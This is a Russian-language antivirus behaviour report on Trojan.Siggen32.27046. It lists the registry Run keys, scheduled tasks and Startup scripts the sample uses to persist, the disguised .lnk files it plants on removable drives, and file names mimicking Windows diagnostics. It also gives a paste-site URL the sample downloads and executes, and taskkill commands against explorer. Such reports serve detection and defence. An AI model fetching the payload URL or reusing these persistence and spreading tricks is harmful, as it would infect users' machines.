Trojan.Siggen32.27046

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\CLSID\{FCEA18FF-BC55-4E63-94D7-1B2EFBFE706F}\Shell\Open\Command] '' = '%ProgramFiles(x86)%\StartIsBack\StartIsBackCfg.exe'
[HKLM\SOFTWARE\Classes\sib-reactivate\shell\open\command] '' = '"%ProgramFiles(x86)%\StartIsBack\StartIsBackCfg.exe" /reactivate %1'
[HKLM\SOFTWARE\Classes\sib-activate\shell\open\command] '' = '"%ProgramFiles(x86)%\StartIsBack\StartIsBackCfg.exe" /activate %1'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '5I2J81OKU6' = '"%ALLUSERSPROFILE%\ChromeUpdater.js"'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\startisback health check
<SYSTEM32>\tasks\createexplorershellunelevatedtask
%APPDATA%\microsoft\windows\start menu\programs\startup\chromeupdater.js
%APPDATA%\microsoft\windows\start menu\programs\startup\softwaredistribution.js

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\chromeupdater.js
<Имя диска съемного носителя>:\system volume information.lnk
<Имя диска съемного носителя>:\join.avi.lnk
<Имя диска съемного носителя>:\000814251_video_01.avi.lnk
<Имя диска съемного носителя>:\default.bmp.lnk
<Имя диска съемного носителя>:\dashborder_96.bmp.lnk
<Имя диска съемного носителя>:\toolbar.bmp.lnk
<Имя диска съемного носителя>:\tileimage.bmp.lnk
<Имя диска съемного носителя>:\dial.bmp.lnk
<Имя диска съемного носителя>:\sdkfailsafeemulator.cer.lnk
<Имя диска съемного носителя>:\pmd.cer.lnk
<Имя диска съемного носителя>:\sdksampleprivdeveloper.cer.lnk
<Имя диска съемного носителя>:\testee.cer.lnk
<Имя диска съемного носителя>:\contoso.cer.lnk
<Имя диска съемного носителя>:\cveuropeo.doc.lnk
<Имя диска съемного носителя>:\lisp_success.doc.lnk
<Имя диска съемного носителя>:\weeklysheet1215.doc.lnk
<Имя диска съемного носителя>:\file_p_00000000_1371597592.docx.lnk
<Имя диска съемного носителя>:\thlps_keeper_mayer_1965.docx.lnk
<Имя диска съемного носителя>:\hadac_newsletter_july_2010_final.docx.lnk
<Имя диска съемного носителя>:\chromesetup.exe.lnk
<Имя диска съемного носителя>:\skypesetup.exe.lnk
<Имя диска съемного носителя>:\tcm851ax32.exe.lnk
<Имя диска съемного носителя>:\utorrent.exe.lnk
<Имя диска съемного носителя>:\wrar520.exe.lnk
<Имя диска съемного носителя>:\64bit_notes.htm.lnk
<Имя диска съемного носителя>:\iisstart.htm.lnk
<Имя диска съемного носителя>:\about.htm.lnk
<Имя диска съемного носителя>:\tree_view.htm.lnk
<Имя диска съемного носителя>:\trivial-merge.html.lnk
<Имя диска съемного носителя>:\api-hashmap.html.lnk
<Имя диска съемного носителя>:\tree_view.html.lnk
<Имя диска съемного носителя>:\iisstart.html.lnk
<Имя диска съемного носителя>:\ituneshelpunavailable.html.lnk
<Имя диска съемного носителя>:\howto-index.html.lnk
<Имя диска съемного носителя>:\about.html.lnk
<Имя диска съемного носителя>:\3.jpeg.lnk
<Имя диска съемного носителя>:\2.jpeg.lnk
<Имя диска съемного носителя>:\168.jpeg.lnk
<Имя диска съемного носителя>:\parnas_01.jpeg.lnk
<Имя диска съемного носителя>:\region-north-karelia.jpeg.lnk
<Имя диска съемного носителя>:\4f0bf7ff71f28.jpeg.lnk
<Имя диска съемного носителя>:\13.jpeg.lnk
<Имя диска съемного носителя>:\4f0bf7ff71f28.jpg.lnk
<Имя диска съемного носителя>:\168.jpg.lnk
<Имя диска съемного носителя>:\region-north-karelia.jpg.lnk
<Имя диска съемного носителя>:\2.jpg.lnk
<Имя диска съемного носителя>:\210252809.jpg.lnk
<Имя диска съемного носителя>:\etc6_m_1.mov.lnk
<Имя диска съемного носителя>:\scan.mov.lnk
<Имя диска съемного носителя>:\firefly1.mov.lnk
<Имя диска съемного носителя>:\video_1.mp4.lnk
<Имя диска съемного носителя>:\51.mp4.lnk
<Имя диска съемного носителя>:\clip_1080_5sec_10mbps_h264.mp4.lnk
<Имя диска съемного носителя>:\2015-02-patients-topic-work-related-asthma-jobs.pdf.lnk
<Имя диска съемного носителя>:\bc01.pdf.lnk
<Имя диска съемного носителя>:\7790_preview.pdf.lnk
<Имя диска съемного носителя>:\2015-02-worms-nanoparticle-toxicity.pdf.lnk
<Имя диска съемного носителя>:\fil_20060629111052.pdf.lnk
<Имя диска съемного носителя>:\dualectls.pdf.lnk

Вредоносные функции

Загружает и запускает на исполнение

https://upaste.me/r/dcef605377e426c52

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /F /IM startscreen*
'%WINDIR%\syswow64\taskkill.exe' /F /IM explorer*

Изменения в файловой системе

Создает следующие файлы

%ProgramFiles%\patch.exe
%ProgramFiles%\startisback.exe
%ALLUSERSPROFILE%\softwaredistribution_\index\appsdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\audioplaybackdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\audiorecordingdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\bitsdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\bluetoothdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\cameragethelpdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\devicecenterdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\devicediagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\iebrowsewebdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\iesecuritydiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\keyboarddiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\maintenancediagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_1_web.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_2_fileshare.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_4_networkadapter.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_5_inbound.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_6_da.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\pcwdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\powerdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\printerdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\searchdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\speechdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\videoplaybackdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerconfiguration.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayermedialibrary.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerplaydvd.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsupdatediagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\settings\a\news\win.ps1
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\setup\chromeupdater.js
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\dfr\softwaredistribution.js
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_connectedaccount.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_tempinetfolder.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_temporaryprofile.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_uac.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_wsreset.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_connectedaccount.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_tempinetfolder.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_temporaryprofile.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_uac.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_wsreset.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\utils_apps.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_uac.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_wsreset.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_audiodiagnosticsnapin.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_invocation.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_loadassembly.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_rundiagnosticscript.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_utility.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_apoloadfailure.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioserviceresponse.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_changevolume.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_enableincpl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_hdaudiodriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_notdefault.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_samplingrate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_unmute.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_apoloadfailure.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audiodevicedriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioserviceresponse.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_disabledincpl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_hdaudiodriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_lowvolume.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_mute.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_notdefault.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_samplingrate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_unpluggedin.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_hdaudiodriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_lowvolume.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_registry.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_service.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsacl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsdll.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsregkeys.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsacl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsdll.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsregkeys.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_btradiooff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_checkbt.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_disabled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_driverproblem.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_otherissue.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_btradiooff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_checkbt.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_disabled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_driverproblem.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_otherissue.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\vf_btradiooff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_detectingdevice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_utility.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\db_deviceerrorlibrary.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_drivernotfound.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_enabledevice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_informcustomer.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_rescanalldevices.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedisabled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_drivernotfound.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_hardwaredevicemain.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_informcustomer.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_notworkingproperly.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_rescanalldevices.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\vf_rescanalldevices.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\cl_utility.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\ts_devicecenter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddon.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddonloadingtime.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetcachesize.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_restoreieconnection.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddon.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddonloadingtime.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieconnection.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_pagesyncpolicy.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_tempfilecachesize.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\vf_iedefectiveaddon.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\iesecurity_troubleshooter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_blockpopups.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_iesecuritylevels.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_phishingfilter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_blockpopups.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_iesecuritylevels.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_phishingfilter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_cicero.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_telemetry.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\keyboarddiagnostic.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\rs_cicero.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\ts_cicero.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\htinteractiveres.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\interactiveres.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsnapin.dll
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsresolve.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticstroubleshoot.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsverify.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\startdpsservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilityfunctions.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilitysetconstants.ps1
C:\kinghaze\w11\orbs\e1evenorb-pr.png
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\cl_localizationdata.psd1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100a.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\rs_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\cl_localizationdata.psd1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100b.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\diagpackage.dll.mui
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100c.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100ca.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0200a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0200b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0285.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0300a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0394.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0395.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0395a.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\ts_programcompatibilitywizard.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0395d.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0397.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\vf_programcompatibilitywizard.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0400 (2).bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0400a (2).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\power_troubleshooter.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0400d.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0500.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0500a.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\cl_localizationdata.psd1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0500b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0600.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\diagpackage.dll.mui
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0700.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustdimdisplay.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0700a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0800.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0800a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0900.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1000.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095d.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustscreenbrightness.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1100.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1189.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustwirelessadaptersettings.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1190.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_balanced.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200a.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_changeprocessorstate.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200c.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disablescreensaver.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1300.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disableusbselective.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400a.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetdisplayidletimeout.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400c.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidledisktimeout.ps1
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1500.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidlesleepsetting.ps1
C:\kinghaze\w10_2\orbs\orb (01).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_balanced.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_dimdisplay.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_displayidletimeout.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idledisktimeout.ps1
C:\kinghaze\w10_2\orbs\orb (02).bmp
C:\kinghaze\w10_2\orbs\orb (03).bmp
C:\kinghaze\w10_2\orbs\orb (04).bmp
C:\kinghaze\w10_2\orbs\orb (05).bmp
C:\kinghaze\w10_2\orbs\orb (06).bmp
C:\kinghaze\w10_2\orbs\orb (07).bmp
C:\kinghaze\w10_2\orbs\orb (08).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idlesleepsetting.ps1
C:\kinghaze\w10_2\orbs\orb (09).bmp
C:\kinghaze\w10_2\orbs\orb (10).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_minprocessorstate.ps1
C:\kinghaze\w10_2\orbs\orb (11).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screenbrightness.ps1
C:\kinghaze\w10_2\orbs\orb (12).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screensaver.ps1
C:\kinghaze\w10_2\orbs\orb (13).bmp
C:\kinghaze\w10_2\orbs\orb (14).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_usbselective.ps1
C:\kinghaze\w10_2\orbs\orb (15).bmp
C:\kinghaze\w10_2\orbs\orb (16).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_wirelessadaptersettings.ps1
C:\kinghaze\w10_2\orbs\orb (17).bmp
C:\kinghaze\w10_2\orbs\orb (18).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\mf_printerdiagnostic.ps1
C:\kinghaze\w10_2\orbs\orb (19).bmp
C:\kinghaze\w10_2\orbs\orb (20).bmp
C:\kinghaze\w10_2\orbs\orb (21).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\cl_localizationdata.psd1
C:\kinghaze\w10_2\orbs\orb (22).bmp
C:\kinghaze\w10_2\orbs\orb (23).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\diagpackage.dll.mui
C:\kinghaze\w10_2\orbs\orb (24).bmp
C:\kinghaze\w10_2\orbs\orb (25).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_cancelalljobs.ps1
